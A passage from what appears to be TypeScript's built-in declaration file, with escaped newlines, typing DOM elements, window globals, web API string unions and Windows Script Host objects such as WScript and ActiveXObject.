HTMLTrackElement;\\n    \"ul\": HTMLUListElement;\\n    \"video\": HTMLVideoElement;\\n    \"x-ms-webview\": MSHTMLWebViewElement;\\n    \"xmp\": HTMLPreElement;\\n}\\n\\ninterface ElementTagNameMap extends HTMLElementTagNameMap {\\n    \"abbr\": HTMLElement;\\n    \"acronym\": HTMLElement;\\n    \"address\": HTMLElement;\\n    \"article\": HTMLElement;\\n    \"aside\": HTMLElement;\\n    \"b\": HTMLElement;\\n    \"bdo\": HTMLElement;\\n    \"big\": HTMLElement;\\n    \"center\": HTMLElement;\\n    \"circle\": SVGCircleElement;\\n    \"cite\": HTMLElement;\\n    \"clippath\": SVGClipPathElement;\\n    \"code\": HTMLElement;\\n    \"dd\": HTMLElement;\\n    \"defs\": SVGDefsElement;\\n    \"desc\": SVGDescElement;\\n    \"dfn\": HTMLElement;\\n    \"dt\": HTMLElement;\\n    \"ellipse\": SVGEllipseElement;\\n    \"em\": HTMLElement;\\n    \"feblend\": SVGFEBlendElement;\\n    \"fecolormatrix\": SVGFEColorMatrixElement;\\n    \"fecomponenttransfer\": SVGFEComponentTransferElement;\\n    \"fecomposite\": SVGFECompositeElement;\\n    \"feconvolvematrix\": SVGFEConvolveMatrixElement;\\n    \"fediffuselighting\": SVGFEDiffuseLightingElement;\\n    \"fedisplacementmap\": SVGFEDisplacementMapElement;\\n    \"fedistantlight\": SVGFEDistantLightElement;\\n    \"feflood\": SVGFEFloodElement;\\n    \"fefunca\": SVGFEFuncAElement;\\n    \"fefuncb\": SVGFEFuncBElement;\\n    \"fefuncg\": SVGFEFuncGElement;\\n    \"fefuncr\": SVGFEFuncRElement;\\n    \"fegaussianblur\": SVGFEGaussianBlurElement;\\n    \"feimage\": SVGFEImageElement;\\n    \"femerge\": SVGFEMergeElement;\\n    \"femergenode\": SVGFEMergeNodeElement;\\n    \"femorphology\": SVGFEMorphologyElement;\\n    \"feoffset\": SVGFEOffsetElement;\\n    \"fepointlight\": SVGFEPointLightElement;\\n    \"fespecularlighting\": SVGFESpecularLightingElement;\\n    \"fespotlight\": SVGFESpotLightElement;\\n    \"fetile\": SVGFETileElement;\\n    \"feturbulence\": SVGFETurbulenceElement;\\n    \"figcaption\": HTMLElement;\\n    \"figure\": HTMLElement;\\n    \"filter\": SVGFilterElement;\\n    \"footer\": HTMLElement;\\n    \"foreignobject\": SVGForeignObjectElement;\\n    \"g\": SVGGElement;\\n    \"header\": HTMLElement;\\n    \"hgroup\": HTMLElement;\\n    \"i\": HTMLElement;\\n    \"image\": SVGImageElement;\\n    \"kbd\": HTMLElement;\\n    \"keygen\": HTMLElement;\\n    \"line\": SVGLineElement;\\n    \"lineargradient\": SVGLinearGradientElement;\\n    \"mark\": HTMLElement;\\n    \"marker\": SVGMarkerElement;\\n    \"mask\": SVGMaskElement;\\n    \"metadata\": SVGMetadataElement;\\n    \"nav\": HTMLElement;\\n    \"nobr\": HTMLElement;\\n    \"noframes\": HTMLElement;\\n    \"noscript\": HTMLElement;\\n    \"path\": SVGPathElement;\\n    \"pattern\": SVGPatternElement;\\n    \"plaintext\": HTMLElement;\\n    \"polygon\": SVGPolygonElement;\\n    \"polyline\": SVGPolylineElement;\\n    \"radialgradient\": SVGRadialGradientElement;\\n    \"rect\": SVGRectElement;\\n    \"rt\": HTMLElement;\\n    \"ruby\": HTMLElement;\\n    \"s\": HTMLElement;\\n    \"samp\": HTMLElement;\\n    \"section\": HTMLElement;\\n    \"small\": HTMLElement;\\n    \"stop\": SVGStopElement;\\n    \"strike\": HTMLElement;\\n    \"strong\": HTMLElement;\\n    \"sub\": HTMLElement;\\n    \"sup\": HTMLElement;\\n    \"svg\": SVGSVGElement;\\n    \"switch\": SVGSwitchElement;\\n    \"symbol\": SVGSymbolElement;\\n    \"text\": SVGTextElement;\\n    \"textpath\": SVGTextPathElement;\\n    \"tspan\": SVGTSpanElement;\\n    \"tt\": HTMLElement;\\n    \"u\": HTMLElement;\\n    \"use\": SVGUseElement;\\n    \"var\": HTMLElement;\\n    \"view\": SVGViewElement;\\n    \"wbr\": HTMLElement;\\n}\\n\\ntype ElementListTagNameMap = {\\n    [key in keyof ElementTagNameMap]: NodeListOf<ElementTagNameMap[key]>\\n};\\n\\ndeclare var Audio: { new(src?: string): HTMLAudioElement; };\\ndeclare var Image: { new(width?: number, height?: number): HTMLImageElement; };\\ndeclare var Option: { new(text?: string, value?: string, defaultSelected?: boolean, selected?: boolean): HTMLOptionElement; };\\ndeclare var applicationCache: ApplicationCache;\\ndeclare var caches: CacheStorage;\\ndeclare var clientInformation: Navigator;\\ndeclare var closed: boolean;\\ndeclare var crypto: Crypto;\\ndeclare var defaultStatus: string;\\ndeclare var devicePixelRatio: number;\\ndeclare var document: Document;\\ndeclare var doNotTrack: string;\\ndeclare var event: Event | undefined;\\ndeclare var external: External;\\ndeclare var frameElement: Element;\\ndeclare var frames: Window;\\ndeclare var history: History;\\ndeclare var innerHeight: number;\\ndeclare var innerWidth: number;\\ndeclare var isSecureContext: boolean;\\ndeclare var length: number;\\ndeclare var location: Location;\\ndeclare var locationbar: BarProp;\\ndeclare var menubar: BarProp;\\ndeclare var msContentScript: ExtensionScriptApis;\\ndeclare var msCredentials: MSCredentials;\\ndeclare const name: never;\\ndeclare var navigator: Navigator;\\ndeclare var offscreenBuffering: string | boolean;\\ndeclare var onabort: (this: Window, ev: UIEvent) => any;\\ndeclare var onafterprint: (this: Window, ev: Event) => any;\\ndeclare var onbeforeprint: (this: Window, ev: Event) => any;\\ndeclare var onbeforeunload: (this: Window, ev: BeforeUnloadEvent) => any;\\ndeclare var onblur: (this: Window, ev: FocusEvent) => any;\\ndeclare var oncanplay: (this: Window, ev: Event) => any;\\ndeclare var oncanplaythrough: (this: Window, ev: Event) => any;\\ndeclare var onchange: (this: Window, ev: Event) => any;\\ndeclare var onclick: (this: Window, ev: MouseEvent) => any;\\ndeclare var oncompassneedscalibration: (this: Window, ev: Event) => any;\\ndeclare var oncontextmenu: (this: Window, ev: PointerEvent) => any;\\ndeclare var ondblclick: (this: Window, ev: MouseEvent) => any;\\ndeclare var ondevicelight: (this: Window, ev: DeviceLightEvent) => any;\\ndeclare var ondevicemotion: (this: Window, ev: DeviceMotionEvent) => any;\\ndeclare var ondeviceorientation: (this: Window, ev: DeviceOrientationEvent) => any;\\ndeclare var ondrag: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragend: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragenter: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragleave: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragover: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragstart: (this: Window, ev: DragEvent) => any;\\ndeclare var ondrop: (this: Window, ev: DragEvent) => any;\\ndeclare var ondurationchange: (this: Window, ev: Event) => any;\\ndeclare var onemptied: (this: Window, ev: Event) => any;\\ndeclare var onended: (this: Window, ev: MediaStreamErrorEvent) => any;\\ndeclare var onerror: ErrorEventHandler;\\ndeclare var onfocus: (this: Window, ev: FocusEvent) => any;\\ndeclare var onhashchange: (this: Window, ev: HashChangeEvent) => any;\\ndeclare var oninput: (this: Window, ev: Event) => any;\\ndeclare var oninvalid: (this: Window, ev: Event) => any;\\ndeclare var onkeydown: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onkeypress: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onkeyup: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onload: (this: Window, ev: Event) => any;\\ndeclare var onloadeddata: (this: Window, ev: Event) => any;\\ndeclare var onloadedmetadata: (this: Window, ev: Event) => any;\\ndeclare var onloadstart: (this: Window, ev: Event) => any;\\ndeclare var onmessage: (this: Window, ev: MessageEvent) => any;\\ndeclare var onmousedown: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseenter: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseleave: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmousemove: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseout: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseover: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseup: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmousewheel: (this: Window, ev: WheelEvent) => any;\\ndeclare var onmsgesturechange: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturedoubletap: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgestureend: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturehold: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturestart: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturetap: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsinertiastart: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmspointercancel: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerdown: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerenter: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerleave: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointermove: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerout: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerover: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerup: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onoffline: (this: Window, ev: Event) => any;\\ndeclare var ononline: (this: Window, ev: Event) => any;\\ndeclare var onorientationchange: (this: Window, ev: Event) => any;\\ndeclare var onpagehide: (this: Window, ev: PageTransitionEvent) => any;\\ndeclare var onpageshow: (this: Window, ev: PageTransitionEvent) => any;\\ndeclare var onpause: (this: Window, ev: Event) => any;\\ndeclare var onplay: (this: Window, ev: Event) => any;\\ndeclare var onplaying: (this: Window, ev: Event) => any;\\ndeclare var onpopstate: (this: Window, ev: PopStateEvent) => any;\\ndeclare var onprogress: (this: Window, ev: ProgressEvent) => any;\\ndeclare var onratechange: (this: Window, ev: Event) => any;\\ndeclare var onreadystatechange: (this: Window, ev: ProgressEvent) => any;\\ndeclare var onreset: (this: Window, ev: Event) => any;\\ndeclare var onresize: (this: Window, ev: UIEvent) => any;\\ndeclare var onscroll: (this: Window, ev: UIEvent) => any;\\ndeclare var onseeked: (this: Window, ev: Event) => any;\\ndeclare var onseeking: (this: Window, ev: Event) => any;\\ndeclare var onselect: (this: Window, ev: UIEvent) => any;\\ndeclare var onstalled: (this: Window, ev: Event) => any;\\ndeclare var onstorage: (this: Window, ev: StorageEvent) => any;\\ndeclare var onsubmit: (this: Window, ev: Event) => any;\\ndeclare var onsuspend: (this: Window, ev: Event) => any;\\ndeclare var ontimeupdate: (this: Window, ev: Event) => any;\\ndeclare var ontouchcancel: (ev: TouchEvent) => any;\\ndeclare var ontouchend: (ev: TouchEvent) => any;\\ndeclare var ontouchmove: (ev: TouchEvent) => any;\\ndeclare var ontouchstart: (ev: TouchEvent) => any;\\ndeclare var onunload: (this: Window, ev: Event) => any;\\ndeclare var onvolumechange: (this: Window, ev: Event) => any;\\ndeclare var onwaiting: (this: Window, ev: Event) => any;\\ndeclare var opener: any;\\ndeclare var orientation: string | number;\\ndeclare var outerHeight: number;\\ndeclare var outerWidth: number;\\ndeclare var pageXOffset: number;\\ndeclare var pageYOffset: number;\\ndeclare var parent: Window;\\ndeclare var performance: Performance;\\ndeclare var personalbar: BarProp;\\ndeclare var screen: Screen;\\ndeclare var screenLeft: number;\\ndeclare var screenTop: number;\\ndeclare var screenX: number;\\ndeclare var screenY: number;\\ndeclare var scrollbars: BarProp;\\ndeclare var scrollX: number;\\ndeclare var scrollY: number;\\ndeclare var self: Window;\\ndeclare var speechSynthesis: SpeechSynthesis;\\ndeclare var status: string;\\ndeclare var statusbar: BarProp;\\ndeclare var styleMedia: StyleMedia;\\ndeclare var toolbar: BarProp;\\ndeclare var top: Window;\\ndeclare var window: Window;\\ndeclare var customElements: CustomElementRegistry;\\ndeclare function alert(message?: any): void;\\ndeclare function blur(): void;\\ndeclare function cancelAnimationFrame(handle: number): void;\\ndeclare function captureEvents(): void;\\ndeclare function close(): void;\\ndeclare function confirm(message?: string): boolean;\\ndeclare function departFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\ndeclare function focus(): void;\\ndeclare function getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\ndeclare function getMatchedCSSRules(elt: Element, pseudoElt?: string): CSSRuleList;\\ndeclare function getSelection(): Selection;\\ndeclare function matchMedia(mediaQuery: string): MediaQueryList;\\ndeclare function moveBy(x?: number, y?: number): void;\\ndeclare function moveTo(x?: number, y?: number): void;\\ndeclare function msWriteProfilerMark(profilerMarkName: string): void;\\ndeclare function open(url?: string, target?: string, features?: string, replace?: boolean): Window;\\ndeclare function postMessage(message: any, targetOrigin: string, transfer?: any[]): void;\\ndeclare function print(): void;\\ndeclare function prompt(message?: string, _default?: string): string | null;\\ndeclare function releaseEvents(): void;\\ndeclare function requestAnimationFrame(callback: FrameRequestCallback): number;\\ndeclare function resizeBy(x?: number, y?: number): void;\\ndeclare function resizeTo(x?: number, y?: number): void;\\ndeclare function scroll(x?: number, y?: number): void;\\ndeclare function scrollBy(x?: number, y?: number): void;\\ndeclare function scrollTo(x?: number, y?: number): void;\\ndeclare function stop(): void;\\ndeclare function webkitCancelAnimationFrame(handle: number): void;\\ndeclare function webkitConvertPointFromNodeToPage(node: Node, pt: WebKitPoint): WebKitPoint;\\ndeclare function webkitConvertPointFromPageToNode(node: Node, pt: WebKitPoint): WebKitPoint;\\ndeclare function webkitRequestAnimationFrame(callback: FrameRequestCallback): number;\\ndeclare function createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\ndeclare function createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, sx: number, sy: number, sw: number, sh: number, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\ndeclare function scroll(options?: ScrollToOptions): void;\\ndeclare function scrollTo(options?: ScrollToOptions): void;\\ndeclare function scrollBy(options?: ScrollToOptions): void;\\ndeclare function toString(): string;\\ndeclare function dispatchEvent(evt: Event): boolean;\\ndeclare function removeEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\\ndeclare function clearInterval(handle: number): void;\\ndeclare function clearTimeout(handle: number): void;\\ndeclare function setInterval(handler: (...args: any[]) => void, timeout: number): number;\\ndeclare function setInterval(handler: any, timeout?: any, ...args: any[]): number;\\ndeclare function setTimeout(handler: (...args: any[]) => void, timeout: number): number;\\ndeclare function setTimeout(handler: any, timeout?: any, ...args: any[]): number;\\ndeclare function clearImmediate(handle: number): void;\\ndeclare function setImmediate(handler: (...args: any[]) => void): number;\\ndeclare function setImmediate(handler: any, ...args: any[]): number;\\ndeclare var sessionStorage: Storage;\\ndeclare var localStorage: Storage;\\ndeclare var console: Console;\\ndeclare var onpointercancel: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerdown: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerenter: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerleave: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointermove: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerout: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerover: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerup: (this: Window, ev: PointerEvent) => any;\\ndeclare var onwheel: (this: Window, ev: WheelEvent) => any;\\ndeclare var indexedDB: IDBFactory;\\ndeclare function atob(encodedString: string): string;\\ndeclare function btoa(rawString: string): string;\\ndeclare function fetch(input: RequestInfo, init?: RequestInit): Promise<Response>;\\ndeclare function addEventListener<K extends keyof WindowEventMap>(type: K, listener: (this: Window, ev: WindowEventMap[K]) => any, useCapture?: boolean): void;\\ndeclare function addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\ntype AAGUID = string;\\ntype AlgorithmIdentifier = string | Algorithm;\\ntype BodyInit = any;\\ntype ByteString = string;\\ntype ConstrainBoolean = boolean | ConstrainBooleanParameters;\\ntype ConstrainDOMString = string | string[] | ConstrainDOMStringParameters;\\ntype ConstrainDouble = number | ConstrainDoubleRange;\\ntype ConstrainLong = number | ConstrainLongRange;\\ntype CryptoOperationData = ArrayBufferView;\\ntype GLbitfield = number;\\ntype GLboolean = boolean;\\ntype GLbyte = number;\\ntype GLclampf = number;\\ntype GLenum = number;\\ntype GLfloat = number;\\ntype GLint = number;\\ntype GLintptr = number;\\ntype GLshort = number;\\ntype GLsizei = number;\\ntype GLsizeiptr = number;\\ntype GLubyte = number;\\ntype GLuint = number;\\ntype GLushort = number;\\ntype HeadersInit = any;\\ntype IDBKeyPath = string;\\ntype KeyFormat = string;\\ntype KeyType = string;\\ntype KeyUsage = string;\\ntype MSInboundPayload = MSVideoRecvPayload | MSAudioRecvPayload;\\ntype MSLocalClientEvent = MSLocalClientEventBase | MSAudioLocalClientEvent;\\ntype MSOutboundPayload = MSVideoSendPayload | MSAudioSendPayload;\\ntype RTCIceGatherCandidate = RTCIceCandidateDictionary | RTCIceCandidateComplete;\\ntype RTCTransport = RTCDtlsTransport | RTCSrtpSdesTransport;\\ntype RequestInfo = Request | string;\\ntype USVString = string;\\ntype payloadtype = number;\\ntype ScrollBehavior = \"auto\" | \"instant\" | \"smooth\";\\ntype ScrollLogicalPosition = \"start\" | \"center\" | \"end\" | \"nearest\";\\ntype IDBValidKey = number | string | Date | IDBArrayKey;\\ntype BufferSource = ArrayBuffer | ArrayBufferView;\\ntype MouseWheelEvent = WheelEvent;\\ntype ScrollRestoration = \"auto\" | \"manual\";\\ntype FormDataEntryValue = string | File;\\ntype InsertPosition = \"beforebegin\" | \"afterbegin\" | \"beforeend\" | \"afterend\";\\ntype AppendMode = \"segments\" | \"sequence\";\\ntype AudioContextState = \"suspended\" | \"running\" | \"closed\";\\ntype BiquadFilterType = \"lowpass\" | \"highpass\" | \"bandpass\" | \"lowshelf\" | \"highshelf\" | \"peaking\" | \"notch\" | \"allpass\";\\ntype CanvasFillRule = \"nonzero\" | \"evenodd\";\\ntype ChannelCountMode = \"max\" | \"clamped-max\" | \"explicit\";\\ntype ChannelInterpretation = \"speakers\" | \"discrete\";\\ntype DistanceModelType = \"linear\" | \"inverse\" | \"exponential\";\\ntype ExpandGranularity = \"character\" | \"word\" | \"sentence\" | \"textedit\";\\ntype GamepadInputEmulationType = \"mouse\" | \"keyboard\" | \"gamepad\";\\ntype IDBCursorDirection = \"next\" | \"nextunique\" | \"prev\" | \"prevunique\";\\ntype IDBRequestReadyState = \"pending\" | \"done\";\\ntype IDBTransactionMode = \"readonly\" | \"readwrite\" | \"versionchange\";\\ntype ListeningState = \"inactive\" | \"active\" | \"disambiguation\";\\ntype MediaDeviceKind = \"audioinput\" | \"audiooutput\" | \"videoinput\";\\ntype MediaKeyMessageType = \"license-request\" | \"license-renewal\" | \"license-release\" | \"individualization-request\";\\ntype MediaKeySessionType = \"temporary\" | \"persistent-license\" | \"persistent-release-message\";\\ntype MediaKeysRequirement = \"required\" | \"optional\" | \"not-allowed\";\\ntype MediaKeyStatus = \"usable\" | \"expired\" | \"output-downscaled\" | \"output-not-allowed\" | \"status-pending\" | \"internal-error\";\\ntype MediaStreamTrackState = \"live\" | \"ended\";\\ntype MSCredentialType = \"FIDO_2_0\";\\ntype MSIceAddrType = \"os\" | \"stun\" | \"turn\" | \"peer-derived\";\\ntype MSIceType = \"failed\" | \"direct\" | \"relay\";\\ntype MSStatsType = \"description\" | \"localclientevent\" | \"inbound-network\" | \"outbound-network\" | \"inbound-payload\" | \"outbound-payload\" | \"transportdiagnostics\";\\ntype MSTransportType = \"Embedded\" | \"USB\" | \"NFC\" | \"BT\";\\ntype MSWebViewPermissionState = \"unknown\" | \"defer\" | \"allow\" | \"deny\";\\ntype MSWebViewPermissionType = \"geolocation\" | \"unlimitedIndexedDBQuota\" | \"media\" | \"pointerlock\" | \"webnotifications\";\\ntype NavigationReason = \"up\" | \"down\" | \"left\" | \"right\";\\ntype NavigationType = \"navigate\" | \"reload\" | \"back_forward\" | \"prerender\";\\ntype NotificationDirection = \"auto\" | \"ltr\" | \"rtl\";\\ntype NotificationPermission = \"default\" | \"denied\" | \"granted\";\\ntype OscillatorType = \"sine\" | \"square\" | \"sawtooth\" | \"triangle\" | \"custom\";\\ntype OverSampleType = \"none\" | \"2x\" | \"4x\";\\ntype PanningModelType = \"equalpower\";\\ntype PaymentComplete = \"success\" | \"fail\" | \"\";\\ntype PaymentShippingType = \"shipping\" | \"delivery\" | \"pickup\";\\ntype PushEncryptionKeyName = \"p256dh\" | \"auth\";\\ntype PushPermissionState = \"granted\" | \"denied\" | \"prompt\";\\ntype ReferrerPolicy = \"\" | \"no-referrer\" | \"no-referrer-when-downgrade\" | \"origin-only\" | \"origin-when-cross-origin\" | \"unsafe-url\";\\ntype RequestCache = \"default\" | \"no-store\" | \"reload\" | \"no-cache\" | \"force-cache\";\\ntype RequestCredentials = \"omit\" | \"same-origin\" | \"include\";\\ntype RequestDestination = \"\" | \"document\" | \"sharedworker\" | \"subresource\" | \"unknown\" | \"worker\";\\ntype RequestMode = \"navigate\" | \"same-origin\" | \"no-cors\" | \"cors\";\\ntype RequestRedirect = \"follow\" | \"error\" | \"manual\";\\ntype RequestType = \"\" | \"audio\" | \"font\" | \"image\" | \"script\" | \"style\" | \"track\" | \"video\";\\ntype ResponseType = \"basic\" | \"cors\" | \"default\" | \"error\" | \"opaque\" | \"opaqueredirect\";\\ntype RTCBundlePolicy = \"balanced\" | \"max-compat\" | \"max-bundle\";\\ntype RTCDegradationPreference = \"maintain-framerate\" | \"maintain-resolution\" | \"balanced\";\\ntype RTCDtlsRole = \"auto\" | \"client\" | \"server\";\\ntype RTCDtlsTransportState = \"new\" | \"connecting\" | \"connected\" | \"closed\";\\ntype RTCIceCandidateType = \"host\" | \"srflx\" | \"prflx\" | \"relay\";\\ntype RTCIceComponent = \"RTP\" | \"RTCP\";\\ntype RTCIceConnectionState = \"new\" | \"checking\" | \"connected\" | \"completed\" | \"failed\" | \"disconnected\" | \"closed\";\\ntype RTCIceGathererState = \"new\" | \"gathering\" | \"complete\";\\ntype RTCIceGatheringState = \"new\" | \"gathering\" | \"complete\";\\ntype RTCIceGatherPolicy = \"all\" | \"nohost\" | \"relay\";\\ntype RTCIceProtocol = \"udp\" | \"tcp\";\\ntype RTCIceRole = \"controlling\" | \"controlled\";\\ntype RTCIceTcpCandidateType = \"active\" | \"passive\" | \"so\";\\ntype RTCIceTransportPolicy = \"none\" | \"relay\" | \"all\";\\ntype RTCIceTransportState = \"new\" | \"checking\" | \"connected\" | \"completed\" | \"disconnected\" | \"closed\";\\ntype RTCSdpType = \"offer\" | \"pranswer\" | \"answer\";\\ntype RTCSignalingState = \"stable\" | \"have-local-offer\" | \"have-remote-offer\" | \"have-local-pranswer\" | \"have-remote-pranswer\" | \"closed\";\\ntype RTCStatsIceCandidatePairState = \"frozen\" | \"waiting\" | \"inprogress\" | \"failed\" | \"succeeded\" | \"cancelled\";\\ntype RTCStatsIceCandidateType = \"host\" | \"serverreflexive\" | \"peerreflexive\" | \"relayed\";\\ntype RTCStatsType = \"inboundrtp\" | \"outboundrtp\" | \"session\" | \"datachannel\" | \"track\" | \"transport\" | \"candidatepair\" | \"localcandidate\" | \"remotecandidate\";\\ntype ScopedCredentialType = \"ScopedCred\";\\ntype ServiceWorkerState = \"installing\" | \"installed\" | \"activating\" | \"activated\" | \"redundant\";\\ntype Transport = \"usb\" | \"nfc\" | \"ble\";\\ntype VideoFacingModeEnum = \"user\" | \"environment\" | \"left\" | \"right\";\\ntype VisibilityState = \"hidden\" | \"visible\" | \"prerender\" | \"unloaded\";\\ntype XMLHttpRequestResponseType = \"\" | \"arraybuffer\" | \"blob\" | \"document\" | \"json\" | \"text\";\\n\\n\\n/////////////////////////////\\n/// WorkerGlobalScope APIs\\n/////////////////////////////\\n// These are only available in a Web Worker\\ndeclare function importScripts(...urls: string[]): void;\\n\\n\\n\\n\\n/////////////////////////////\\n/// Windows Script Host APIS\\n/////////////////////////////\\n\\n\\ninterface ActiveXObject {\\n    new (s: string): any;\\n}\\ndeclare var ActiveXObject: ActiveXObject;\\n\\ninterface ITextWriter {\\n    Write(s: string): void;\\n    WriteLine(s: string): void;\\n    Close(): void;\\n}\\n\\ninterface TextStreamBase {\\n    /**\\n     * The column number of the current character position in an input stream.\\n     */\\n    Column: number;\\n\\n    /**\\n     * The current line number in an input stream.\\n     */\\n    Line: number;\\n\\n    /**\\n     * Closes a text stream.\\n     * It is not necessary to close standard streams; they close automatically when the process ends. If\\n     * you close a standard stream, be aware that any other pointers to that standard stream become invalid.\\n     */\\n    Close(): void;\\n}\\n\\ninterface TextStreamWriter extends TextStreamBase {\\n    /**\\n     * Sends a string to an output stream.\\n     */\\n    Write(s: string): void;\\n\\n    /**\\n     * Sends a specified number of blank lines (newline characters) to an output stream.\\n     */\\n    WriteBlankLines(intLines: number): void;\\n\\n    /**\\n     * Sends a string followed by a newline character to an output stream.\\n     */\\n    WriteLine(s: string): void;\\n}\\n\\ninterface TextStreamReader extends TextStreamBase {\\n    /**\\n     * Returns a specified number of characters from an input stream, starting at the current pointer position.\\n     * Does not return until the ENTER key is pressed.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    Read(characters: number): string;\\n\\n    /**\\n     * Returns all characters from an input stream.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    ReadAll(): string;\\n\\n    /**\\n     * Returns an entire line from an input stream.\\n     * Although this method extracts the newline character, it does not add it to the returned string.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    ReadLine(): string;\\n\\n    /**\\n     * Skips a specified number of characters when reading from an input text stream.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     * @param characters Positive number of characters to skip forward. (Backward skipping is not supported.)\\n     */\\n    Skip(characters: number): void;\\n\\n    /**\\n     * Skips the next line when reading from an input text stream.\\n     * Can only be used on a stream in reading mode, not writing or appending mode.\\n     */\\n    SkipLine(): void;\\n\\n    /**\\n     * Indicates whether the stream pointer position is at the end of a line.\\n     */\\n    AtEndOfLine: boolean;\\n\\n    /**\\n     * Indicates whether the stream pointer position is at the end of a stream.\\n     */\\n    AtEndOfStream: boolean;\\n}\\n\\ndeclare var WScript: {\\n    /**\\n     * Outputs text to either a message box (under WScript.exe) or the command console window followed by\\n     * a newline (under CScript.exe).\\n     */\\n    Echo(s: any): void;\\n\\n    /**\\n     * Exposes the write-only error output stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdErr: TextStreamWriter;\\n\\n    /**\\n     * Exposes the write-only output stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdOut: TextStreamWriter;\\n    Arguments: { length: number; Item(n: number): string; };\\n\\n    /**\\n     *  The full path of the currently running script.\\n     */\\n    ScriptFullName: string;\\n\\n    /**\\n     * Forces the script to stop immediately, with an optional exit code.\\n     */\\n    Quit(exitCode?: number): number;\\n\\n    /**\\n     * The Windows Script Host build version number.\\n     */\\n    BuildVersion: number;\\n\\n    /**\\n     * Fully qualified path of the host executable.\\n     */\\n    FullName: string;\\n\\n    /**\\n     * Gets/sets the script mode - interactive(true) or batch(false).\\n     */\\n    Interactive: boolean;\\n\\n    /**\\n     * The name of the host executable (WScript.exe or CScript.exe).\\n     */\\n    Name: string;\\n\\n    /**\\n     * Path of the directory containing the host executable.\\n     */\\n    Path: string;\\n\\n    /**\\n     * The filename of the currently running script.\\n     */\\n    ScriptName: string;\\n\\n    /**\\n     * Exposes the read-only input stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdIn: TextStreamReader;\\n\\n    /**\\n     * Windows Script Host version\\n     */\\n    Version: string;\\n\\n    /**\\n     * Connects a COM object\\'s event sources to functions named with a given prefix, in the form prefix_event.\\n     */\\n    ConnectObject(objEventSource: any, strPrefix: string): void;\\n\\n    /**\\n     * Creates a COM object.\\n     * @param strProgiID\\n     * @param strPrefix Function names in the form prefix_event will be bound to this object\\'s COM events.\\n     */\\n    CreateObject(strProgID: string, strPrefix?: string): any;\\n\\n    /**\\n     * Disconnects a COM object from its event sources.\\n     */\\n    DisconnectObject(obj: any): void;\\n\\n    /**\\n     * Retrieves an existing object with the specified ProgID from memory, or creates a new one from a file.\\n     * @param strPathname Fully qualified path to the file containing the object persisted to disk.\\n     *                       For objects in memory, pass a zero-length string.\\n     * @param strProgID\\n     * @param strPrefix Function names in the form prefix_event will be bound to this object\\'s COM events.\\n     */\\n    GetObject(strPathname: string, strProgID?: string, strPrefix?: string): any;\\n\\n    /**\\n     * Suspends script execution for a specified length of time, then continues execution.\\n     * @param intTime Interval (in milliseconds) to suspend script execution.\\n     */\\n    Sleep(intTime: number): void;\\n};\\n\\n/**\\n * Allows enumerating over a COM collection, which may not have indexed item access.\\n */\\ninterface Enumerator<T> {\\n    /**\\n     * Returns true if the current item is the last one in the collection, or the collection is empty,\\n     * or the current item is undefined.\\n     */\\n    atEnd(): boolean;\\n\\n    /**\\n     * Returns the current item in the collection\\n     */\\n    item(): T;\\n\\n    /**\\n     * Resets the current item in the collection to the first item. If there are no items in the collection,\\n     * the current item is set to undefined.\\n     */\\n    moveFirst(): void;\\n\\n    /**\\n     * Moves the current item to the next item in the collection. If the enumerator is at the end of\\n     * the collection or the collection is empty, the current item is set to undefined.\\n     */\\n    